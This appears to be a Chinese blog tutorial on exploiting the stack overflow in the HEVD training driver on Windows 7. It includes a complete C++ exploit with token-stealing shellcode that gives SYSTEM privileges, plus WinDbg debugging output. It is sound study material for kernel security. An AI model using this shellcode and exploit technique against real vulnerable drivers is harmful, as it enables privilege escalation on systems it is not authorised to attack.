由于上个月找工作,有几个面试官大佬问到了有关内核漏洞和缓解绕过机制的问题,我基本在这一块属于简单了解,回答的很不好,因而感觉需要在这一块学习一下,而且随着Windows
漏洞审核变的越来越严,普通的漏洞就直接拒了,每次挖到洞都在寻找能够扩大漏洞攻击面的机会,如果能够影响到内核那被拒的可能性就比较低了,所以趁此机会好好学习一下内核漏洞相关知识和一些缓解机制绕过的方法。这是hevd
学习的一个系列,这是第一篇,关于栈溢出,这种溢出在windows 10
中基本已经完全没法使用了,但对于windows
内核底层机制了解还是有作用的,作为第一篇,所以写的会比较细,具体实验步骤都会写出来。
其中用到的poc
和exp
代码,我放在github上了,后续的代码也会更新在上面,有问题欢迎交流,学习。
本文介绍了hevd
中栈溢出在x86
和x64
环境下exp
编写及其原理。
环境准备
因为vmware 15
升级了很多东西,往常使用的VirtualKD
已经没法用了,所以这里使用其加强版本VirtualKD-Redux
下载VirtualKD-Redux,这个版本VirutalKD
一直在更新,可用性比单纯的VirtualKD
要好用很多
VirtualKD-Redux
说是支持Windbg Preview
,但是我在使用过程中会经常出现问题,所以强烈建议使用windbg.exe
而不是windbgx.exe
来进行调试。
下载windows 7 sp1
并安装,安装完成
环境
主机:windows 10 2004 x64
虚拟机: windows 7 sp1 中文版(x86/x64)
编译工具: vs community 2017
windbg: 10.0.19041.1 (x86/x64)
hevd 3.00
x86
调试过程中会系统会多次重启,每次重启可能
hevd.sys
的载入基址都会发生变化
利用VirtualKD
禁用windows 7
的驱动签名限制
成功启动之后,开启服务
打开hevd.sys
大概看一下代码逻辑
NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, int a2)
{
NTSTATUS v2; // esi
NTSTATUS result; // eax
PDEVICE_OBJECT v4; // eax
NTSTATUS v5; // edi
LSA_UNICODE_STRING DestinationString; // [esp+Ch] [ebp-14h]
LSA_UNICODE_STRING SymbolicLinkName; // [esp+14h] [ebp-Ch]
PDEVICE_OBJECT DeviceObject; // [esp+1Ch] [ebp-4h]
DeviceObject = 0;
*(_DWORD *)&SymbolicLinkName.Length = 0;
SymbolicLinkName.Buffer = 0;
RtlInitUnicodeString(&DestinationString, L"\\Device\\HackSysExtremeVulnerableDriver");
RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\HackSysExtremeVulnerableDriver");
v2 = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject);
if ( v2 >= 0 )
{
memset32(DriverObject->MajorFunction, (int)IrpNotImplementedHandler, 0x1Cu);
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)IrpDeviceIoCtlHandler;
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)IrpCreateCloseHandler;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)IrpCreateCloseHandler;
v4 = DeviceObject;
DriverObject->DriverUnload = (PDRIVER_UNLOAD)DriverUnloadHandler;
v4->Flags |= 0x10u;
DeviceObject->Flags &= 0xFFFFFF7F;
v5 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
...
跟进IrpDeviceIoCtlHandler
NTSTATUS __stdcall IrpDeviceIoCtlHandler(int a1, PIRP Irp)
{
NTSTATUS v2; // ebx
_IO_STACK_LOCATION *v3; // eax
_IO_STACK_LOCATION *v4; // ebx
void (*v5)(ULONG, ULONG, PCSTR, ...); // esi
int v6; // eax
const CHAR *v8; // [esp-4h] [ebp-10h]
v2 = -1073741637;
v3 = Irp->Tail.Overlay.CurrentStackLocation;
if ( v3 )
{
v4 = Irp->Tail.Overlay.CurrentStackLocation;
switch ( v3->Parameters.Read.ByteOffset.LowPart )
{
case 0x222003u:
v5 = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n");
v6 = BufferOverflowStackIoctlHandler((int)Irp, (int)v4);
v8 = "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n";
goto LABEL_4;
case 0x222007u:
v5 = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS ******\n");
v6 = BufferOverflowStackGSIoctlHandler(Irp, v4);
v8 = "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS ******\n";
goto LABEL_4;
...
继续跟进BufferOverflowStackIoctlHandler
int __stdcall BufferOverflowStackIoctlHandler(int a1, int a2)
{
int v2; // ecx
void *v3; // edx
v2 = -1073741823;
v3 = *(void **)(a2 + 16);
if ( v3 )
v2 = TriggerBufferOverflowStack(v3, *(_DWORD *)(a2 + 8));
return v2;
}
最终溢出函数
int __stdcall TriggerBufferOverflowStack(void *Address, size_t MaxCount)
{
char Dst; // [esp+10h] [ebp-81Ch]
CPPEH_RECORD ms_exc; // [esp+814h] [ebp-18h]
memset(&Dst, 0, 0x800u);
ms_exc.registration.TryLevel = 0;
ProbeForRead(Address, 0x800u, 1u);
_DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", Address);
_DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%X\n", MaxCount);
_DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", &Dst);
_DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%X\n", 2048);
_DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in Stack\n");
memcpy(&Dst, Address, MaxCount); // 没有判断MaxCount,导致栈溢出
return 0;
}
poc
函数
void poc()
{
do {
HANDLE hDevice;
// 2-bit unsigned integer. This is a flag field that indicates various access modes
// to use for creating and opening the file.
// This value SHOULD be set to 0xC0000000, meaning generic read and generic write
hDevice = CreateFileA(
/* LPCSTR lpFileName */ "\\\\.\\HackSysExtremeVulnerableDriver",
/* DWORD dwDesiredAccess */ 0xC0000000,
/* DWORD dwShareMode */ FILE_SHARE_READ | FILE_SHARE_WRITE,
/* LPSECURITY_ATTRIBUTES lpSecurityAttributes */ NULL,
/* DWORD dwCreationDisposition */ OPEN_EXISTING,
/* DWORD dwFlagsAndAttributes */ 0,
/* HANDLE hTemplateFile */ NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
handle_error("Open device failed!\n", GetLastError());
break;
}
DWORD dwReturnedBytes = 0;
UCHAR szInBuffer[] = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9";
if (!DeviceIoControl(hDevice, 0x222003, szInBuffer, sizeof(szInBuffer), NULL, 0, &dwReturnedBytes, NULL))
{
handle_error("DeviceIoControl failed!\n", GetLastError());
break;
}
else
{
printf("DeviceIoControl successfully.\n");
}
} while (0);
}
编译执行,崩溃
从网上找到了一段python
利用的提权shellcode
"\x60" # pushad
"\x31\xc0" # xor eax,eax
"\x64\x8b\x80\x24\x01\x00\x00" # mov eax,[fs:eax+0x124]
"\x8b\x40\x50" # mov eax,[eax+0x50]
"\x89\xc1" # mov ecx,eax
"\xba\x04\x00\x00\x00" # mov edx,0x4
"\x8b\x80\xb8\x00\x00\x00" # mov eax,[eax+0xb8]
"\x2d\xb8\x00\x00\x00" # sub eax,0xb8
"\x39\x90\xb4\x00\x00\x00" # cmp [eax+0xb4],edx
"\x75\xed" # jnz 0x1a
"\x8b\x90\xf8\x00\x00\x00" # mov edx,[eax+0xf8]
"\x89\x91\xf8\x00\x00\x00" # mov [ecx+0xf8],edx
"\x61" # popad
转化为c++
可用
void exp()
{
do {
HANDLE hDevice;
hDevice = CreateFileA(
/* LPCSTR lpFileName */ "\\\\.\\HackSysExtremeVulnerableDriver",
/* DWORD dwDesiredAccess */ 0xC0000000,
/* DWORD dwShareMode */ FILE_SHARE_READ | FILE_SHARE_WRITE,
/* LPSECURITY_ATTRIBUTES lpSecurityAttributes */ NULL,
/* DWORD dwCreationDisposition */ OPEN_EXISTING,
/* DWORD dwFlagsAndAttributes */ 0,
/* HANDLE hTemplateFile */ NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
handle_error("Open device failed!\n", GetLastError());
break;
}
ULONG ulShellcode[] = {
0x64c03160,
0x0124808b,
0x408b0000,
0xbac18950,
0x4,
0x00b8808b,
0xb82d0000,
0x39000000,
0x0000b490,
0x8bed7500,
0x0000f890,
0xf8918900,
0x61000000,
};
DWORD dwInBufferSize = 2080 + 4;
UCHAR* pInBuffer = (UCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwInBufferSize * sizeof(UCHAR));
if (pInBuffer == NULL)
{
handle_error("HeapAlloc", GetLastError());
break;
}
RtlFillMemory(pInBuffer, 2080, 0x41);
PVOID pShellcode = &ulShellcode;
PVOID *ppShellcode = &pShellcode;
RtlCopyMemory(pInBuffer + 2080, ppShellcode, 4);
DWORD dwReturnedBytes = 0;
if (!DeviceIoControl(hDevice, 0x222003, (LPVOID)pInBuffer, dwInBufferSize, NULL, 0, &dwReturnedBytes, NULL))
{
handle_error("DeviceIoControl failed!\n", GetLastError());
break;
}
else
{
printf("DeviceIoControl successfully.\n");
system("cmd.exe");
}
if (pInBuffer != NULL)
HeapFree(GetProcessHeap(), 0, pInBuffer);
} while (0);
}
中间忘了栈上存在DEP
的问题,从而没有开辟空间直接执行,DEP
导致执行失败,可以验证一下试试,在函数return
前设置断点bp HEVD+0x4527e
没有执行权限,发生了异常。
使用VirtualAlloc
重新分配可执行内存
void exp()
{
do {
HANDLE hDevice;
hDevice = CreateFileA(
/* LPCSTR lpFileName */ "\\\\.\\HackSysExtremeVulnerableDriver",
/* DWORD dwDesiredAccess */ 0xC0000000,
/* DWORD dwShareMode */ FILE_SHARE_READ | FILE_SHARE_WRITE,
/* LPSECURITY_ATTRIBUTES lpSecurityAttributes */ NULL,
/* DWORD dwCreationDisposition */ OPEN_EXISTING,
/* DWORD dwFlagsAndAttributes */ 0,
/* HANDLE hTemplateFile */ NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
handle_error("Open device failed!\n", GetLastError());
break;
}
ULONG ulShellcode[] = {
0x64c03160,
0x0124808b,
0x408b0000,
0xbac18950,
0x4,
0x00b8808b,
0xb82d0000,
0x39000000,
0x0000b490,
0x8bed7500,
0x0000f890,
0xf8918900,
0x61000000,
};
PVOID pEopPayload = VirtualAlloc(NULL, sizeof(ulShellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pEopPayload == NULL)
{
handle_error("VirtualAlloc", GetLastError());
break;
}
RtlCopyMemory(pEopPayload, ulShellcode, sizeof(ulShellcode));
DWORD dwInBufferSize = 2080 + 4;
UCHAR* pInBuffer = (UCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwInBufferSize * sizeof(UCHAR));
if (pInBuffer == NULL)
{
handle_error("HeapAlloc", GetLastError());
break;
}
RtlFillMemory(pInBuffer, 2080, 0x41);
PVOID pShellcode = &pEopPayload;
PVOID *ppShellcode = &pEopPayload;
RtlCopyMemory(pInBuffer + 2080, ppShellcode, 4);
DWORD dwReturnedBytes = 0;
if (!DeviceIoControl(hDevice, 0x222003, (LPVOID)pInBuffer, dwInBufferSize, NULL, 0, &dwReturnedBytes, NULL))
{
handle_error("DeviceIoControl failed!\n", GetLastError());
break;
}
else
{
printf("DeviceIoControl successfully.\n");
system("cmd.exe");
}
if (pInBuffer != NULL)
HeapFree(GetProcessHeap(), 0, pInBuffer);
if (pEopPayload != NULL)
VirtualFree(pEopPayload, sizeof(ulShellcode), MEM_RELEASE);
} while (0);
}
重启继续
可以发现,再次出错了,出错的原因在于执行完我们的shellcode
之后,我们没有对环境进行复原
那么我们来分析一下如何复原现在这个环境,这个得仔细思考,没有想象中的那么想当然,我们最好从原理上搞懂,为什么这么做。首先分析一下,如果栈没有溢出,正常执行完popad
,我们应该执行的指令
PAGE:933F6263 add esp, 10h
PAGE:933F6266
PAGE:933F6266 loc_933F6266: ; CODE XREF: TriggerBufferOverflowStack+9B↑j
PAGE:933F6266 mov [ebp+ms_exc.registration.TryLevel], 0FFFFFFFEh
PAGE:933F626D mov eax, edi
PAGE:933F626F mov ecx, [ebp+ms_exc.registration.Next]
PAGE:933F6272 mov large fs:0, ecx
PAGE:933F6279 pop ecx
PAGE:933F627A pop edi
PAGE:933F627B pop esi
PAGE:933F627C pop ebx
PAGE:933F627D leave
PAGE:933F627E retn 8 ; 这里跳转到shellcode
PAGE:933F627E TriggerBufferOverflowStack endp
shellcode
执行完后,正常应该跳出TriggerBufferOverflowStack
,回到BufferOverflowStackIoctlHandler
函数
PAGE:933F617E BufferOverflowStackIoctlHandler proc near
PAGE:933F617E ; CODE XREF: IrpDeviceIoCtlHandler+51↑p
PAGE:933F617E
PAGE:933F617E arg_4 = dword ptr 0Ch
PAGE:933F617E
PAGE:933F617E push ebp
PAGE:933F617F mov ebp, esp
PAGE:933F6181 mov eax, [ebp+arg_4]
PAGE:933F6184 mov ecx, 0C0000001h
PAGE:933F6189 mov edx, [eax+10h]
PAGE:933F618C mov eax, [eax+8]
PAGE:933F618F test edx, edx
PAGE:933F6191 jz short loc_933F619C
PAGE:933F6193 push eax ; MaxCount
PAGE:933F6194 push edx ; Address
PAGE:933F6195 call TriggerBufferOverflowStack
PAGE:933F619A mov ecx, eax ; shellcode 执行完,应该从这里开始执行
PAGE:933F619C
PAGE:933F619C loc_933F619C: ; CODE XREF: BufferOverflowStackIoctlHandler+13↑j
PAGE:933F619C mov eax, ecx
PAGE:933F619E pop ebp
PAGE:933F619F retn 8
PAGE:933F619F BufferOverflowStackIoctlHandler endp
看一下汇编指令
mov ecx, eax
mov eax, ecx
pop ebp
retn 8
可以发现eax
是作为返回值使用的,成功执行eax
应该是0
,所以简化指令
xor eax, eax
pop ebp
ret 8
讲汇编指令转化为二进制数据
将环境复原指令添加到shellcode
中
ULONG ulShellcode[] = {
0x64c03160,
0x0124808b,
0x408b0000,
0xbac18950,
0x4,
0x00b8808b,
0xb82d0000,
0x39000000,
0x0000b490,
0x8bed7500,
0x0000f890,
0xf8918900,
0x61000000,
0xc25dc031,
0x8};
在上次那个断点断下,并逐步调试
继续,成功跳出
继续
提权成功
完整提权代码
#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <Windows.h>
#define handle_error(msg, error_code) \
do \
{ \
printf("%s with error code: %d\n", msg, error_code); \
} while (0);
void exp()
{
do {
HANDLE hDevice;
hDevice = CreateFileA(
/* LPCSTR lpFileName */ "\\\\.\\HackSysExtremeVulnerableDriver",
/* DWORD dwDesiredAccess */ 0xC0000000,
/* DWORD dwShareMode */ FILE_SHARE_READ | FILE_SHARE_WRITE,
/* LPSECURITY_ATTRIBUTES lpSecurityAttributes */ NULL,
/* DWORD dwCreationDisposition */ OPEN_EXISTING,
/* DWORD dwFlagsAndAttributes */ 0,
/* HANDLE hTemplateFile */ NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
handle_error("Open device failed!\n", GetLastError());
break;
}
/*
pushad ; Save registers state
; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, DWORD PTR fs:[eax + 124h] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS : [0x124]
mov eax, [eax + 50h] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, 04h ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + 0B8h] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0B8h
cmp [eax + 0B4h], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + 0F8h] ; Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + 0F8h], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
popad
xor eax, eax ; restore environment
pop ebp
ret 8
*/
ULONG ulShellcode[] = {
0x64c03160,
0x0124808b,
0x408b0000,
0xbac18950,
0x4,
0x00b8808b,
0xb82d0000,
0x39000000,
0x0000b490,
0x8bed7500,
0x0000f890,
0xf8918900,
0x61000000,
0xc25dc031,
0x8
};
PVOID pEopPayload = VirtualAlloc(NULL, sizeof(ulShellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pEopPayload == NULL)
{
handle_error("VirtualAlloc", GetLastError());
break;
}
RtlCopyMemory(pEopPayload, ulShellcode, sizeof(ulShellcode));
DWORD dwInBufferSize = 2080 + 4;
UCHAR* pInBuffer = (UCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwInBufferSize * sizeof(UCHAR));
if (pInBuffer == NULL)
{
handle_error("HeapAlloc", GetLastError());
break;
}
RtlFillMemory(pInBuffer, 2080, 0x41);
PVOID pShellcode = &pEopPayload;
PVOID *ppShellcode = &pEopPayload;
RtlCopyMemory(pInBuffer + 2080, ppShellcode, 4);
DWORD dwReturnedBytes = 0;
if (!DeviceIoControl(hDevice, 0x222003, (LPVOID)pInBuffer, dwInBufferSize, NULL, 0, &dwReturnedBytes, NULL))
{
handle_error("DeviceIoControl failed!\n", GetLastError());
break;
}
else
{
printf("DeviceIoControl successfully.\n");
system("cmd.exe");
}
if (pInBuffer != NULL)
HeapFree(GetProcessHeap(), 0, pInBuffer);
if (pEopPayload != NULL)
VirtualFree(pEopPayload, sizeof(ulShellcode), MEM_RELEASE);
} while (0);
}
int main()
{
exp();
return 0;
}
一个有意思的问题
在做上面的实验时,遇到了一个比较隐蔽的问题,调试了很久,最终才发现原因,在这里也跟大家讨论讨论,避免大家以后遇到这个问题,不知道是为什么
如果exp
的代码这么写
void exp()
{
...
do
{
...
if (!DeviceIoControl(hDevice, 0x222003, (LPVOID)pInBuffer, dwInBufferSize, NULL, 0, &dwReturnedBytes, NULL))
{
handle_error("DeviceIoControl failed!\n", GetLastError());
break;
}
else
{
printf("DeviceIoControl successfully.\n");
// system("cmd.exe"); // 注释掉这一行代码
}
if (pInBuffer != NULL)
HeapFree(GetProcessHeap(), 0, pInBuffer);
if (pEopPayload != NULL)
VirtualFree(pEopPayload, sizeof(ulShellcode), MEM_RELEASE);
} while (0);
}
...
注释掉之后,我们通过cmd.exe
启动另一个cmd.exe
,新启动的cmd.exe
会是system
权限吗?
编译执行,为了不掺杂别的影响,我们把系统重启一下,看看结果
可以发现,无论是原先的cmd.exe
还是新启动的cmd.exe
,权限都没有提升成功。这个问题困扰了我大概两个晚上的下班时间,期间找了各种资料,以为shellcode
出问题了,我在shellcode
下断点,一步一步执行,怎么想都是成功的改变了cmd.exe
的token
数据,为什么会失败呢?
失败的地方就在这里,我以为我该成功了,但事实是没有成功,来通过windbg
看一下,首先关闭新启动的cmd.exe
,只保留我以为我成功改变token
的cmd
列一下进程
kd> !dml_proc
Address PID Image file name
869eb920 4 System
87dfea68 104 smss.exe
883e4400 158 csrss.exe
88a6a108 18c wininit.exe
88415030 198 csrss.exe
88475d40 1d4 winlogon.exe
8baeac48 204 services.exe
885b9030 20c lsass.exe
885c5030 214 lsm.exe
88646378 27c svchost.exe
8858ad40 2c0 svchost.exe
8866aab0 2f4 svchost.exe
8867fd40 33c svchost.exe
96bff478 3ac svchost.exe
886ea030 428 svchost.exe
88701a60 470 svchost.exe
8875bd40 4f4 spoolsv.exe
887446a8 520 svchost.exe
887838c8 570 taskhost.exe
8879ac40 5b8 dwm.exe
887a2448 5d4 explorer.exe
887f8408 660 vm3dservice.ex
887fa6f0 668 vmtoolsd.exe
887d2d40 6b0 VGAuthService.
8892db18 6ec vmtoolsd.exe
889a2338 414 WmiPrvSE.exe
88a04030 648 dllhost.exe
8747e030 604 msdtc.exe
887d8030 820 SearchIndexer.
88af13b0 8ac wmpnetwk.exe
88afb8f0 8f4 svchost.exe
873e1920 a58 WmiPrvSE.exe
87e77030 be4 OSRLOADER.exe
99bfc158 bfc cmd.exe
98332d40 c04 conhost.exe
88a0e030 e50 sppsvc.exe
955ff300 e74 svchost.exe
查看一下system
进程及其token
信息
kd> dt _EPROCESS 869eb920 ; system process
ntdll!_EPROCESS
...
+0x0f4 ObjectTable : 0x8d401b60 _HANDLE_TABLE
+0x0f8 Token : _EX_FAST_REF
+0x0fc WorkingSetPage : 0
...
+0x2bc TimerResolutionStackRecord : (null)
kd> dt _EX_FAST_REF 869eb920+f8
ntdll!_EX_FAST_REF
+0x000 Object : 0x8d4012c6 Void
+0x000 RefCnt : 0y110
+0x000 Value : 0x8d4012c6
kd> dt _TOKEN 0x8d4012c0
nt!_TOKEN
+0x000 TokenSource : _TOKEN_SOURCE
+0x010 TokenId : _LUID
+0x018 AuthenticationId : _LUID
+0x020 ParentTokenId : _LUID
+0x028 ExpirationTime : _LARGE_INTEGER 0x06207526`b64ceb90
+0x030 TokenLock : 0x86946490 _ERESOURCE
+0x034 ModifiedId : _LUID
+0x040 Privileges : _SEP_TOKEN_PRIVILEGES
+0x058 AuditPolicy : _SEP_AUDIT_POLICY
+0x074 SessionId : 0
+0x078 UserAndGroupCount : 5
+0x07c RestrictedSidCount : 0
+0x080 VariableLength : 0x70
+0x084 DynamicCharged : 0x400
+0x088 DynamicAvailable : 0
+0x08c DefaultOwnerIndex : 1
+0x090 UserAndGroups : 0x8d40149c _SID_AND_ATTRIBUTES
+0x094 RestrictedSids : (null)
+0x098 PrimaryGroup : 0x8d401258 Void
+0x09c DynamicPart : 0x8d401258 -> 0x101
+0x0a0 DefaultDacl : 0x8d401264 _ACL
+0x0a4 TokenType : 1 ( TokenPrimary )
+0x0a8 ImpersonationLevel : 0 ( SecurityAnonymous )
+0x0ac TokenFlags : 0x2000
+0x0b0 TokenInUse : 0 ''
+0x0b4 IntegrityLevelIndex : 4
+0x0b8 MandatoryPolicy : 1
+0x0bc LogonSession : 0x8d401648 _SEP_LOGON_SESSION_REFERENCES
+0x0c0 OriginatingLogonSession : _LUID
+0x0c8 SidHash : _SID_AND_ATTRIBUTES_HASH
+0x150 RestrictedSidHash : _SID_AND_ATTRIBUTES_HASH
+0x1d8 pSecurityAttributes : 0x8d401570 _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
+0x1dc VariablePart : 0x8d4014c4
查看一下cmd
进程及其token
信息
kd> dt _EPROCESS 99bfc158 ; cmd.exe process
ntdll!_EPROCESS
...
+0x0f4 ObjectTable : 0x83205a70 _HANDLE_TABLE
